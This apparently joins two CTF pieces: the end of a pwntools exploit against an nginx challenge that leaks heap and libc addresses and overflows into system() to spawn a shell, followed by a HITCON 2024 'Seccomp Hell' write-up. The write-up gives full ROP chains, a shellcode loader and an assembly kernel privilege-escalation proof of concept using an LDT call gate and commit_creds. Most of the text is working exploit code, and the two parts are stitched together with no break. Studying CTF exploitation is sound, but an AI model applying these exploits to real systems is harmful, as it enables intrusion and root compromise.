    log.error('Failed to import vagd, run LOCAL/REMOTE or install it')
  if not vm:
    vm = Dogd(BINARY, image=BOX, symbols=True, libs=True, ex=True, fast=True,   
              files=['./nginx.conf'], packages=['zlib1g'], forward={'8080/tcp': 8080})  # Docker
  if vm.is_new:
    # additional setup here
    vm.system('sudo mkdir /nginx').recvall()
    vm.system('sudo chown vagd:sudo /nginx').recvall()
    vm.system('sudo mkdir /challenge').recvall()
    vm.system('sudo chown vagd:sudo /challenge').recvall()
    vm.system('mkdir /nginx/modules /nginx/conf /nginx/logs').recvall()
    vm.system('echo NOT_THE_FLAG > /nginx/flag.txt').recvall()
  else:
    vm.system('pkill nginx').recvall()
    vm.system('rm /challenge/flag.txt').recvall()


  return vm


# get target (pwnlib.tubes.tube)
def get_target(**kw):
  if args.REMOTE:
    # context.log_level = 'debug'
    return remote(IP, PORT)

  if args.LOCAL:
    if args.GDB:
      return gdb.debug([BINARY] + ARGS, env=ENV, gdbscript=GDB, **kw)
    return process([BINARY] + ARGS, env=ENV, **kw)

  return vm.start(argv=ARGS, env=ENV, gdbscript=GDB, **kw)


vm = setup()

#===========================================================
#                   EXPLOIT STARTS HERE
#===========================================================
# Arch:       amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No
# Comment:    GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0

def build_header(path, method, data=None, cookie=None, data_len=None, headers=None):
  if headers is None:
    headers = list()

  if data and data_len is None:
    data_len = len(data)

  if data_len is not None:
    headers += [f'Content-Length: {data_len}\r\n'.encode()]

  if cookie is not None:
    headers += [f'Cookie: {cookie}\r\n'.encode()]

  return flat(
      byt(method), b' ', byt(path), b' HTTP/1.1\r\n',
      b'Host: ', f'{IP}:{PORT}\r\n'.encode(),
      headers,
      b'\r\n'
    )

libc = ELF('./libs/libc.so.6', checksec=False)


# token = flat(b'Authorization: Bearer ', b64e(b'ornithorhynchus anatinus').encode(), b'\r\n')
token = flat(b'Authorization: Bearer ', b64e(p64(0x6fe1be2)).encode(), b'\r\n')
leak_libc_token = flat(b'Authorization: Bearer ', b64e(b'x').encode(), b'\r\n')
leak_heap_token = flat(b'Authorization: Bearer ', b64e(cyc(0x11)).encode(), b'\r\n')

p = lprog("Brute heap off")
for i in range(0x1000):
  p.status(f"{i}")
  t = get_target()
  if not args.REMOTE:
    s = t
    sleep(3 if args.GDB else .5)
  else: 
    se(build_header('/restart', 'GET', headers=[token]))
    cl()
    sleep(.5)

  t = get_target() if args.REMOTE else remote('localhost', 8080) 

  se(build_header('/party', 'GET', headers=[leak_libc_token]))
  ru(b'invalid: x')
  libc.address = (upad(ru(b'Party', drop=True)) << 8) - 0x204200
  lhex(libc.address, "libc")

  # c 1
  se(build_header('/party', 'GET', headers=[leak_heap_token]))
  ru(b'invalid: ' + cyc(0x11))
  HEAP = (upad(ru(b'Party', drop=True)) << 8)
  HEAP -= (0x9200 if args.LOCAL else 0x9400) if args.REMOTE else 0x8d00
  lhex(HEAP, "heap")

  se(build_header('/party', 'POST', headers=[token]))
  ru(b'\r\n\r\n')

  # cmd = b'cp /nginx/flag.txt /challenge/flag.txt;'
  cmd = b'exec<&3;sh>&3;'

  OFF = 0x9000+0x200*i
  bof = flat({
    0x00: cmd*((0x800//len(cmd))),
    0x800: [libc.sym.system, HEAP + OFF]*0x80,
    0x1010: [
      0x1020, 
      0x1011,
    ],       
    0x1010+0x50: [HEAP + OFF + 0x800]
  }, length=0x1200)

  # c 2 
  se(build_header('/party', 'POST', 
                  headers=[b'Authorization: Bearer ', b64e(bof).encode(), b'\r\n']))
  ru(b'\r\n\r\n')

  se(build_header('/party', 'DELETE', headers=[token]))
  try:
    sl('echo PWN; id; cat /nginx/flag.txt;')
    ru('PWN')
    it()
  except EOFError:
    cl()
    continue


# data = cyc(0x6f)
# for i in range(0x8):
# se(build_header('/party', 'PUT', data, headers=[token]) + data)
# ru(b'\r\n\r\n')


# c 3 
# se(build_header('/party', 'GET', headers=flat(b'Authorization: Bearer ', b64e(cyc(0x1000)).encode(), b'\r\n')))
# ru(b'\r\n\r\n')


t.interactive() # or it()

HITCON CTF 2024 Quals - Seccomp Hell

2024-07-16T00:00:00+02:00

Seccomp Hell

Some challenges are userland pwns, others are kernel pwn, still others are sandbox escapes. In Seccomp Hell, you can get all three for free <3

Note: Try getting a full root shell for this challenge

Dist

TL;DR

You need to exploit three parts in this challenge

userland exploitation
backdoor that allows ROP chain that can be used to get arbitray code execution
kernel backdoor
backdoor that creates CALL GATE in the LDT (local descriptor table) to get kernel mode escalation and write kernel shellcode
sandbox escape
disable seccomp and escalate priviliges through kernel shellcode (corrupt current task_struct)

Overview

Guessing from the challenge description there will be at least three parts 1. userland exploitation 2. kernel exploitation 3. sandbox escape (seccomp)

The challenges consists of only three files:

dist
├── bzImage
├── initramfs.cpio.gz
└── run.sh

a simple run.sh script

#!/bin/bash

qemu-system-x86_64 \
    -cpu qemu64,+smap \
    -m 4096M \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
    -monitor /dev/null \
    -nographic \
    -netdev user,id=net0,hostfwd=tcp::22222-:22222 \
    -device e1000,netdev=net0 \
    -no-reboot

On important aspect is that +smep (Supervisor Mode Execution Protection) protection is missing ... forshadowing

Also here is an explaination of the Kernel paramters:

console=ttyS0
console output options, nothing interesting use context.newline = b'\r\n'
loglevel=3
reduce the amount of logging, can be increased or removed for easier debugging
oops=panic
immediatly panic on every kernel oops, means our kernel exploit needs to be precise
panic=-1
immediatly reboot on kernel panic, so we can't just corrupt in another socket connection (not that we wanted to do this neccessarly either)
pti=on
enable Page Table Isolation (so no cpu side channel)

we can decompress the initramfs.cpio.gz file using sth similar to this script.

Let's first look at the init script:

/init

#!/bin/sh

chown 0:0 -R /
chown 1000:1000 -R /home/user
chmod 4755 /bin/busybox

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
/sbin/mdev -s

chmod 666 /dev/ptmx

# network
insmod /usr/lib/modules/e1000.ko
ifup lo >& /dev/null
ifup eth0 >& /dev/null

# banner
cat /etc/banner

# kernel backdoor
insmod /usr/lib/modules/i_am_definitely_not_backdoor.ko
chmod 0666 /dev/i_am_definitely_not_backdoor

# user backdoor
echo 'server starting...'
setsid cttyhack setuidgid 1000 /bin/socat tcp-l:22222,reuseaddr,fork EXEC:"/home/user/i_am_not_backdoor.bin",pty,stderr

poweroff -f

ok we know that our vulnerable userland binary is /home/user/i_am_not_backdoor.bin and the vulnerable kernel module is /usr/lib/modules/i_am_definitely_not_backdoor.ko and accessable through /dev/i_am_definitely_not_backdoor

Test Environment

I actually used two of my tools to setup my test environment + vagd to exploit the userland binary + how2keap as an template for the kernel exploitation part

This is how my setup looks like

seccomp_hell
├── Makefile
├── bins
│   ├── i_am_definitely_not_backdoor.ko
│   └── i_am_not_backdoor.bin
├── exploit.py
├── libs
│   ├── pwn.h
│   ├── util.c
│   └── util.h
├── pwn.c
├── rootfs
│   ├── ...
├── scripts
│   ├── build.sh
│   ├── compress.sh
│   ├── decompress.sh
│   ├── gdbinit
│   └── start-qemu.sh
└── share
    ├── bzImage
    ├── flag.txt
    ├── initramfs.cpio.gz
    ├── rootfs.cpio.gz -> initramfs.cpio.gz
    └── run.sh

Userland

Lets first get some base information:

file:

bins/i_am_not_backdoor.bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=f4640517119249a926c7399197447b388e07807c, for GNU/Linux 3.2.0, with debug_info, not stripped

checksec:

[*] './i_am_not_backdoor.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] GCC: (Debian 13.2.0-24) 13.2.0

seccomp-tools dump:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0017
 0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0017: 0x15 0x00 0x01 0x0000009a  if (A != modify_ldt) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0021
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0021: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0023
 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0023: 0x06 0x00 0x00 0x00000000  return KILL

hmm, so interesting syscalls are allowed that are important for writing a assembly payload (mmap, mprotect), it also alows us to open the vulnerable kernel module (open). also for some reason a syscall called modify_ldt is whitelisted ... forshadowing

Stage 1: ROP Backdoor

At first glance the binary seems fine, but it actually corrupts the return ptr and jmps to a backdoor function using ROP:

  CALL       LAB_004018d1
LAB_004018d1:
  ADD        qword ptr [RSP]=>local_1e0,offset backdoor
  PUSH       RBP
  MOV        RBP,RSP
  LEAVE
  RET

the reversed backdoor code:

#define EXAMINE_SYSCALL \
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, (offsetof(struct seccomp_data, nr)))

#define ALLOW_SYSCALL(name) \
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

#define KILL_PROCESS \
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)


void backdoor() {

  char rop[0];

  read(STDIN_FILENO,rop,0x98);
  close(STDIN_FILENO);
  close(STDOUT_FILENO);
  close(STDERR_FILENO);

    struct sock_filter seccomp_filter[] = {
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(socket),
        ALLOW_SYSCALL(connect),
        ALLOW_SYSCALL(modify_ldt), // forshadowing
        ALLOW_SYSCALL(exit),
        ALLOW_SYSCALL(exit_group),
        KILL_PROCESS,
    };

  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(seccomp_filter) / sizeof(struct sock_filter)),
      .filter = (struct sock_filter*)&seccomp_filter,
  };

  assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != -1);
  assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != -1);
}

The backdoor can be summarized like this:

read BOF (rop chain) using read
close STDIN, STDOUT and STDERR
setup seccomp filter whitelist

lets take a look at the opened files, before they are closed:

ls -l /proc/$(pidof i_am_not_backdoor.bin)/fd
lrwx------    1 user     users           64 Jul 12 17:12 0 -> /dev/pts/0
lrwx------    1 user     users           64 Jul 12 17:12 1 -> /dev/pts/0
lrwx------    1 user     users           64 Jul 12 17:12 2 -> /dev/pts/0
lrwx------    1 user     users           64 Jul 12 17:12 3 -> socket:[385]
lrwx------    1 user     users           64 Jul 12 17:12 4 -> socket:[386]
lrwx------    1 user     users           64 Jul 12 17:12 5 -> /dev/ttyS0

interesting, STD fds simply point to /dev/pts/0, so what happens if we just open it again ... we regain a working STDIN.

Note: /dev/pts/0 increments if there are multiple consecutive connections, this was briefly a problem, while the instance spawner was temporarly replaced with a shared instance.

Note: this approach was unintended, the intended solution opened a socket connection using the allowed socket and connect syscalls

so let's write a simple payload that reopens /dev/pts/0 and writes a new ROP payload into a known memory address and pivot there.

Stage 1:

linfo("STAGE 1: ROP")

std = b'/dev/pts/0\0'

uname = std

passwd = b'' 

sas('220 (vsFTPd 2.3.4)', uname, 0x80)
sas('331 Please specify the password.', passwd, 0x80)

sret_gen = exe.search(asm('syscall ; ret'), executable=True)
next(sret_gen)
next(sret_gen)
SYSCALL_RET = next(sret_gen)

PIVOT = 0x4a7b00

rop = ROP(exe)
rop.raw(PIVOT+0x100) # rbp
rop.call(sasm('mov rax, rbx ; pop rbx ; ret'))
rop.raw(0x6fe1be2)
rop.rdi = 0x258 
rop.call(sasm('sub rax, rdi ; ret'))
rop.call(sasm('mov rdi, rax ; ret'))
rop.rax = cst.SYS_open 
rop.rsi = cst.O_RDWR
rop.call(SYSCALL_RET)

rop.rsi = PIVOT
# rop.rdx = 0x400
rop.call(0x0000000000428de0)

rop.call(sasm('mov rdi, rax ; ret'))
rop.call(SYSCALL_RET)
rop.call(sasm('leave ; ret'))

linfo("loader len: 0x%x", len(bytes(rop)))
assert len(bytes(rop)) <= 0x98

# input()
sas('530 Login incorrect.', bytes(rop), 0x98)

Stage 2: pivot ROP

Now that we have more controll over the rop chain, we can write a shellcode payload directly into memory, which we will need for further exploitation.

Stage 2:

linfo("STAGE 2: PIVOT")

LOADER = 0x400000

pivot = ROP(exe)
pivot.raw(0x6fe1be2) # rbp

pivot.rax = cst.SYS_open
pivot.rdi = PIVOT
pivot.rsi = cst.O_RDWR
pivot.rdx = 0
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_mprotect + 1
pivot.call(sasm('sub rax, 1 ; ret'))
pivot.rdi = LOADER
pivot.rsi = 0x5000
pivot.rdx = cst.PROT_READ | cst.PROT_WRITE | cst.PROT_EXEC
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_write
pivot.rdi = cst.STDOUT_FILENO
pivot.rsi = PIVOT+0x10
pivot.rdx = 8
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_read
pivot.rdi = cst.STDIN_FILENO
pivot.rsi = LOADER 
pivot.rdx = 0x1000
pivot.call(SYSCALL_RET)

pivot.call(LOADER)

pivot.exit(0)

chain = flat({
  0: std,
  0x10: b'STAGE 2',
  0x18: b'STAGE 3',
  0x20: b'FAIL',
  0x100: pivot
})

linfo("pivot len: 0x%x", len(chain))
sleep(1)

sl(chain)

Stage 3: loader

At this point we realized that certain characters, e.g. \n and \x04 (End of Transmission) can't be send, thats why we added another loader stage, that decodes the payload and writes it into executable memory.

payload = asm('int 3')
PAYLOAD_LEN = len(payload)

loader = bytearray(asm(f"""
  {shc.write(cst.STDOUT_FILENO, PIVOT+0x18, 7)}
  xor rbx, rbx
LOAD:
  // get two characters (one byte)
  push 0
  {shc.syscall(cst.SYS_read, cst.STDIN_FILENO, 'rsp', 2)}
  cmp rax, 2
  jl FAIL
  pop rax
  sub ah, 0x41 
  sub al, 0x41 
  shl al, 2
  shl al, 2
  shr rax, 2
  shr rax, 2
  mov BYTE PTR [rbx+{PAYLOAD}], al
  inc rbx
  cmp rbx, {PAYLOAD_LEN}
  jb LOAD

  // jmp to next stage
  mov rax, {PAYLOAD+0x20}
  jmp rax

FAIL:
  {shc.write(cst.STDOUT_FILENO, PIVOT+0x20, 5)}
  int 3
"""))

# send all the code

linfo("STAGE 3: LOADER")

# linfo(disasm(loader))
sla("STAGE 2", bytes(loader))

# custom encoding:
#  hex starting a 'A'
#  and least significant nibble first

payload_enc = b''
for b in payload:
  lo = (b & 0xf) + 0x41
  hi = ((b & 0xf0) >> 4) + 0x41
  payload_enc += bytes((lo, hi))


linfo("STAGE 4: PAYLOAD")

sla('STAGE 3', payload_enc)

# linfo(disasm(payload))
linfo("payload len: 0x%x", len(payload))

it()

This basically finishes the userland exploitation stage

Kernel

Lets get into the interesting part the kernel. Let's reverse the backdoor.

simplified reversed backdoor:

int backdoor_open(void) { return 0 }
int backdoor_read(void) { return 0 }


int backdoor_write(void) {
  void* pte;    
  pte_t* pte_lock;

  // check if ldt exists (flip flops between two addresses)
  rc = follow_pte(const_pcpu_hot + 0x8f8, 0xffff880000010000,&pte,&pte_lock);
  if(rc != 0)
    return -EFAULT;

  // map ldt page for write
  char *ldt = vmap(pages,1,4, 0x8000000000000163);
  if (ldt == 0)
    return -EFAULT;

  // corrupt ldt entry 12

  ldt[0x60] = 0;
  ldt[0x61] = 0;

  ldt[0x65] = 0xec; // call gate
  ldt[0x66] = 0xc0 
  ldt[0x67] = 0;

  vunmap(ldt);

  return 0;
}

static struct file_operations BACKDOOR_fops = {
    .owner = THIS_MODULE,
    .open = backdoor_open,
    .read = backdoor_read,
    .write = backdoor_write,
};

static struct miscdevice backdoor_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "keap",
    .fops = &keap_fops,
};

int init_module(void) {
  misc_register(&backdoor_device);
  return 0;
}


void cleanup_module(void)
{
  misc_deregister(&backdoor_device);
}


INT backdoor_release(void)
{
  return 0;
}

module_init(init_module);
module_exit(cleanup_module);

so this basically checks if a kernel page exists at 0xffff880000010000, and if that is the case it overwrites sth at offset 0x60. Directly calling this kernel module fails, so how do we allocate something in this page. Well this is where the foreshadowing comes into place and the mysterious syscall modify_ldt actually allocates into this page.

Note: modify_ldt acutally flip flops the ldt pages between two address on every call, so we actually need to call modify_ldt twice for this to work.

So what is LDT and how does it work? LDT or Local Descriptor Table is a feature similar to GDT (Global Descriptor Table) that holds segment descriptors, that can be used to give certain memory pages additional permissons like read, write and execute, but also system functionality like call, trap and interrupt gates (e.g. interrupt gates are used for syscalls), but the system flag can't be set (on s clear) using modify_ldt. Additionall info can be found in the intel bible.

So lets understand a ldt entry, we can set the following options.

include/uapi/asm/ldt.h

struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
#ifdef __x86_64__
    /*
     * Because this bit is not present in 32-bit user code, user
     * programs can pass uninitialized values here.  Therefore, in
     * any context in which a user_desc comes from a 32-bit program,
     * the kernel must act as though lm == 0, regardless of the
     * actual value.
     */
    unsigned int  lm:1;
#endif
};

that need to be translated into this struct.

include/asm/desc_defs.h:

struct desc_struct {
    u16 limit0;
    u16 base0;
    u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
    u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

using this translation function.

include/asm/desc.h:

static inline void fill_ldt(struct desc_struct *desc, const struct user_desc *info)
{
    desc->limit0        = info->limit & 0x0ffff;

    desc->base0     = (info->base_addr & 0x0000ffff);
    desc->base1     = (info->base_addr & 0x00ff0000) >> 16;

    desc->type      = (info->read_exec_only ^ 1) << 1;
    desc->type         |= info->contents << 2;
    /* Set the ACCESS bit so it can be mapped RO */
    desc->type         |= 1;

    desc->s         = 1;
    desc->dpl       = 0x3;
    desc->p         = info->seg_not_present ^ 1;
    desc->limit1        = (info->limit & 0xf0000) >> 16;
    desc->avl       = info->useable;
    desc->d         = info->seg_32bit;
    desc->g         = info->limit_in_pages;

    desc->base2     = (info->base_addr & 0xff000000) >> 24;
    /*
     * Don't allow setting of the lm bit. It would confuse
     * user_64bit_mode and would get overridden by sysret anyway.
     */
    desc->l         = 0;
}

Like we mentioned we can't create a system segment (S flag is clear). So let's create an entry at offset 12 (0x60/8) and see what happens.

example:

  struct user_desc ldt = {
      .entry_number = 12, // max 0x1ffe
      .base_addr = 0x8899aabb, // 32 bits
      .limit = 0xdeeff, // 20 bits
      .contents=0, // 2 bits
      .read_exec_only=0, // 1 bit
      .seg_not_present=0, // 1 bit
      .useable=0, // 1 bit
      .seg_32bit=0, // 1 bit
      .limit_in_pages=0, // 1 bit
  };

  SYSCHK(syscallt(SYS_modify_ldt, 0x11, &ldt, sizeof(ldt)));

before corrupt:

0xffff880000010060:     0x880df399aabbeeff
0xffff880000010060:     0xeeff  0xaabb  0xf399  0x880d
0xffff880000010060:     0xff    0xee    0xbb    0xaa    0x99    0xf3    0x0d    0x88

desc_struct {
        .limit0        = 0xeeff   
        .limit1        = 0xd
        .base0         = 0xaabb 
        .base1         = 0x88
        .base2         = 0x99
        .type          = 0x3 (contents=0, ACCESS=1, read_exec_only=1)
        .s             = 1
        .dpl           = 3
        .p             = 1
        .avl           = 0
        .l             = 0
        .d             = 0
        .g             = 0
}

after corrupt:

0xffff880000010060:     0x00c0ec99aabb0000
0xffff880000010060:     0x0000  0xaabb  0xec99  0x00c0
0xffff880000010060:     0x00    0x00    0xbb    0xaa    0x99    0xec    0xc0    0x00

desc_struct {
        .limit0        = 0x0   
        .limit1        = 0x0
        .base0         = 0xaabb 
        .base1         = 0x00
        .base2         = 0x99
        .type          = 0xc (contents=3, ACCESS=0, read_exec_only=0)
        .s             = 0
        .dpl           = 3
        .p             = 1
        .avl           = 0
        .l             = 0
        .d             = 1
        .g             = 1
}

So looks like the backdoor actually creates a system segment for us, let's look at the table to understand what system segment type we have

System-Segment and Gate-Descriptor Types:

Type	Field				Description
Hex	11	10	9	8	32-Bit Mode	IA-32e Mode
0x0	0	0	0	0	Reserved	Upper 8 bytes of an 16-byte descriptor
0x1	0	0	0	1	16-bit TSS (Available)	Reserved
0x2	0	0	1	0	LDT	LDT
0x3	0	0	1	1	16-bit TSS (Busy)	Reserved
0x4	0	1	0	0	16-bit Call Gate	Reserved
0x5	0	1	0	1	Task Gate	Reserved
0x6	0	1	1	0	16-bit Interrupt Gate	Reserved
0x7	0	1	1	1	16-bit Trap Gate	Reserved
0x8	1	0	0	0	Reserved	Reserved
0x9	1	0	0	1	32-bit TSS (Available)	64-bit TSS (Available)
0xa	1	0	1	0	Reserved	Reserved
0xb	1	0	1	1	32-bit TSS (Busy)	64-bit TSS (Busy)
0xc	1	1	0	0	32-bit Call Gate	64-bit Call Gate
0xd	1	1	0	1	Reserved	Reserved
0xe	1	1	1	0	32-bit Interrupt Gate	64-bit Interrupt Gate
0xf	1	1	1	1	32-bit Trap Gate	64-bit Trap Gate

And the backdoor created a 64-bit Call Gate for us.

Stage 4: kernel backdoor, LDT call gate

A Call gate is a x86 feature that allows switching between privilige levels similar to syscalls (interrupt gates).

After realizing this we actually found this super cool writeup from hlt about his challenge one_byte from hxp 2022. That talks about using call gates to disable smap to get CPL 0 (ring 0) code execution.

Note: this wouldn't work if smep was enabled, because you can't temporarly disable smep without direct access to CR4 afaik

and with a few adjustions we can create a privilige escalation PoC:

diff from one_byte solution:

1c1,2
< // gcc -no-pie -nostdlib -Wl,--build-id=none -s pwn.S -o pwn
---
> // gcc -no-pie -nostdlib -Wl,--build-id=none,-section-start=.text=0xc00000 -s pwn.S -o ./pwn
> 
91,94d91
< #define PERCPU_CURRENT 0x1fbc0
< #define STRUCT_TASK_STRUCT_REAL_CRED 0x0a78
< #define STRUCT_TASK_STRUCT_CRED 0x0a80
< #define STRUCT_CRED_USAGE 0x0
96c93,97
< // TODO: Check that &ring0 == 0x401000
---
> #define COMMIT_CREDS 0xfc820
> #define PREPARE_CREDS 0xfccd0
> 
> 
> // TODO: Check that &ring0 == 0xc00000
136,142c137,155
<     // Set current->cred and current->real_cred to init_task->cred
<     addq $KASLR_INIT_TASK, %rdx
<     movq STRUCT_TASK_STRUCT_CRED(%rdx), %rdx
<     addl $2, STRUCT_CRED_USAGE(%rdx)
<     movq %gs:PERCPU_CURRENT, %rax
<     movq %rdx, STRUCT_TASK_STRUCT_CRED(%rax)
<     movq %rdx, STRUCT_TASK_STRUCT_REAL_CRED(%rax)
---
>     // get .text base
>     subq $(KASLR_WRITE_TO+0x400000), %rdi
>     andq $(~0xfffff), %rdi
>     movq %rdi, %r15
>     
>     // privilige escalation
>     // crpt_cred = prepare_cred();
> 
>     lea PREPARE_CREDS(%r15), %rax
>     call *%rax
> 
>     // crpt_cred.uid = 0;
>     // crpt_cred.gid = 0;
>     movq %rax, %rdi
>     movq $0, 8(%rdi)
> 
>     // commit_creds(crpt_cred);
>     lea COMMIT_CREDS(%r15), %rax
>     call *%rax
204c217
< asciz module_path, "/dev/one_byte"
---
> asciz module_path, "/dev/i_am_definitely_not_backdoor"
256c269,270
<     exit_64 $0
---
>     movq $0, %rdi
>     check_syscall_64 $SYS_exit
258a273
>

privilige escalation PoC:

// gcc -no-pie -nostdlib -Wl,--build-id=none,-section-start=.text=0xc00000 -s pwn.S -o ./pwn


#include <linux/mman.h>
#include <sys/syscall.h>

.pushsection .text.1
.code64
__syscall_64_fail.L:
    negl %eax
    movl $SYS_exit_group, %eax
    syscall
    ud2
.popsection

.macro check_syscall_64 nr:req, res=%rax
    movl \nr, %eax
    syscall
    test \res, \res
    js __syscall_64_fail.L
.endm

.macro var name:req
    .pushsection .data
    .balign 8
    .local \name
    \name:
.endm

.macro endvar name:req
    .local end_\name
    end_\name:
    .eqv sizeof_\name, end_\name - \name
    .popsection
.endm

.macro asciz name:req, data:vararg
    var \name
        .asciz \data
    endvar \name
.endm

.macro far_ptr name:req, selector:req, offset:req
    var \name
        .int \offset
        .short \selector
    endvar \name
.endm

.macro fn name:req
    .text
    .code64
    .global \name
    \name:
.endm

// <*/fcntl.h> are all C-only
#define O_WRONLY 1

// Yes, ordering in kernel and user mode are different, blame AMD/Intel.
#define __KERNEL_CS   (2 * 8)

// For 4-level paging
#define LDT_BASE_ADDR 0xffff880000000000
#define LDT_STRIDE 0x10000
#define PTI_SWITCH_MASK 0x1000

// Arbitrary constants
#define STACK_SIZE 0x80000

// Selectors for the LDT have bit 2 set. Also RPLs
#define LDT_SELECTOR 0b100
#define RPL_KERNEL   0b000
#define RPL_USER     0b011
#define TARGET_ENTRY 12
#define TARGET_SELECTOR ((TARGET_ENTRY << 3) | LDT_SELECTOR | RPL_USER)

// With one descriptor (i.e. a one-byte write): modifiable bits in cs_offset:
//   0x0000000000401000 <- ring0
//   0x00000000ffdfffff
//             |||\___/
//             |||  \____ limit
//             \/\_______ G, D, 0, AV
//              \________ base_addr[31:24]

#define MSR_LSTAR 0xc0000082
#define KASLR_WRITABLE 0xa00000
#define KASLR_LSTAR 0xa00010
#define KASRL_WRITABLE_END 0xc00000
#define KASLR_WRITE_TO 0xbad000
#define KASLR_INIT_TASK 0x1613940

#define COMMIT_CREDS 0xfc820
#define PREPARE_CREDS 0xfccd0


// TODO: Check that &ring0 == 0xc00000
fn ring0
    // Disable interrupts (interrupts cause double faults right now)
    cli

    // Read LSTAR to bypass KASLR
    movl $MSR_LSTAR,  %ecx
    rdmsr
    shlq $32, %rdx
    orq %rax, %rdx
    subq $KASLR_LSTAR, %rdx
    movq %rdx, %rbp

    // Disable WP
    movq %cr0, %r8
    andq $(~(1 << 16)), %r8
    movq %r8, %cr0

    // Copy stage 2 to the mapped kernel entry point
    movq %rbp, %rdi
    addq $KASLR_WRITE_TO, %rdi
    movq %rdi, %r15
    leaq ring0_stage2(%rip), %rsi
    movl $sizeof_ring0_stage2, %ecx
    rep movsb

    // Jump there.
    jmp *%r15

var ring0_stage2
    // Get access to per-cpu variables (current, mostly) via swapgs
    swapgs

    // Get the current page table.
    movq %cr3, %rbx

    // Switch to the kernel page table.
    andq $(~PTI_SWITCH_MASK), %rbx
    movq %rbx, %cr3

    // get .text base
    subq $(KASLR_WRITE_TO+0x400000), %rdi
    andq $(~0xfffff), %rdi
    movq %rdi, %r15

    // privilige escalation
    // crpt_cred = prepare_cred();

    lea PREPARE_CREDS(%r15), %rax
    call *%rax

    // crpt_cred.uid = 0;
    // crpt_cred.gid = 0;
    movq %rax, %rdi
    movq $0, 8(%rdi)

    // commit_creds(crpt_cred);
    lea COMMIT_CREDS(%r15), %rax
    call *%rax

    // Swap back
    swapgs

    // Switch the page table back around
    orq $PTI_SWITCH_MASK, %rbx
    movq %rbx, %cr3

    // Build an `iret` stackframe rather than a `ret far` stack frame.
    popq %r8 // => %rip
    popq %r9 // => %cs
    pushfq
    orq $(1 << 9), (%rsp) // Set IF in the new RFLAGS (like sti)
    pushq %r9
    pushq %r8
    iretq
endvar ring0_stage2

var user_desc
    // base2 (base_addr[31:24]) == cs_offset[31:24]
    // limit_in_pages           == cs_offset[23]
    // seg_32bit                == cs_offset[22]
    // NB: Because lm is ignored, cs_offset[21] must be 0
    // useable                  == cs_offset[20]
    // limit1 (limit[19:16])    == cs_offset[19:16]
    // flags0                   == (arbitrary, will be overwritten later)
    // base1 (base_addr[23:16]) == (ignored entirely)
    // base0 (base_addr[15:0])  == __KERNEL_CS
    // limit0 (limit[15:0])     == cs_offset[15:0]
    .int TARGET_ENTRY // entry_number
    .int __KERNEL_CS  // base_addr
    .int 0x01000      // limit
    .int 0b00000001   // flags (int because of padding - only the low byte is actually used)
    //     |||||\/\____  .seg_32bit (D) (must be 1 for set_thread_area)
    //     ||||| \_____  .contents (top 2 bits of type, must be 00 or 01 for set_thread_area)
    //     ||||\_______  .read_exec_only (!R)
    //     |||\________  .limit_in_pages (G)
    //     ||\_________  .seg_not_present (!P)
    //     |\__________  .useable (AV)
